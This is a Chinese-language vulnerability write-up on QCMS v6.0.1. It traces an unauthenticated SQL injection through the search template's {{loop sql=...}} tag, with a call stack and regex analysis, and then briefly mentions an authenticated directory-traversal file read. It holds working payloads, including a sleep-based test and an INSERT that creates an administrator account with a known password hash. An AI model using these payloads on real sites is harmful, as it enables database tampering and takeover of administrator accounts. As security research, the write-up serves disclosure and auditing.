QCMS_v6.01
源码如下:
QCMS V6.0.1 正式版发布——QCMS官方交流论坛 (q-cms.cn)
前台SQL注入
流程如下:
在输入框里面输一个1,进入源码调试:
路由:System/Controller/index.php
在serach地方下断点:
然后我们跟进调试,最后在loop的地方找到sql利用点:
这里有个正则要过:
/{{loop([\s\S.]*?)}}([\s\S.]*?){{\/loop}}/i
匹配很简单
{{loop}}a{{/loop}}
并且这里要匹配的是$Matches[1]
所以就要控制
{{loop(要控制的地方)}}a{{/loop}}
并且下面还有一句$Para[‘sql’],所以要控制这个地方是
{{loopsql}}a{{/loop}}
进入self::_getKv($v)
发现还有一个正则
/([\w]*?)=\'([\w\W]*?)\'/i
这里是形式就是sql=’xxx’了
我们传参
{{loopsql=''xxx}}a{{/loop}}
这样子就返回sql=’xxx’了
我们从$Replace[] = self::_replaceLoop($Para['sql'], $Matches[2][$k], 'Loop_');
一路跟进去
Db.php:66, Model\QC_Sys_model->query()
Controllers.php:760, Index->_replaceLoop()
Controllers.php:660, Index->loop_Tmp()
Controllers.php:57, Index->tempRun()
index.php:32, Index->search_Action()
Base.php:236, Base::InsertFuncArray()
Router.php:97, Router->ViewController()
Router.php:22, Router->__construct()
Router.php:25, Router::get_instance()
X.php:27, require()
index.php:29, {main}()
发现这里直接对传入进去的xx执行了,那么sql注入就来了
{{loopsql='select sleep(1)'}}{{/loop}}
危害证明:
输入延时语句查询,发现这里延时了7s,因为
foreach($Matches[1] as $k => $v){
$Para = self::_getKv($v);
if(empty($Para['sql'])) return $this;
$Search[] = $Matches[0][$k];
$Replace[] = self::_replaceLoop($Para['sql'], $Matches[2][$k], 'Loop_');
}
这一句会导致sleep多次执行,所以会导致延迟七秒
如果我们把sleep的时间换成2:
而且我们在sql的执行日志中也可以看到sleep(2)执行了7次
这里就可以修改数据库的密码了:
{{loopsql='INSERT INTO qc_user (UserId, Phone, NickName, Head, Password, Name, Address, Sex, Mail, MailCheck, Money, Coins, State, TsAdd, IpAdd, GroupUserId, GroupAdminId, IsAdmin, TsLast, IpLast) VALUES (999, "18898765432", "管理员", "", "e10adc3949ba59abbe56e057f20f883e", "", "", 1, "", 2, 0.00, 0, 1, 1684310395, "127.0.0.1", 1, 1, 1, 1684310876, "127.0.0.1");'}}a{{/loop}}
后台任意文件读取
进入后台有一个任意文件读取,这个就比较简单了,直接用Seay就可以审计出来了
根目录编辑一个test.txt
目录穿越读取文件: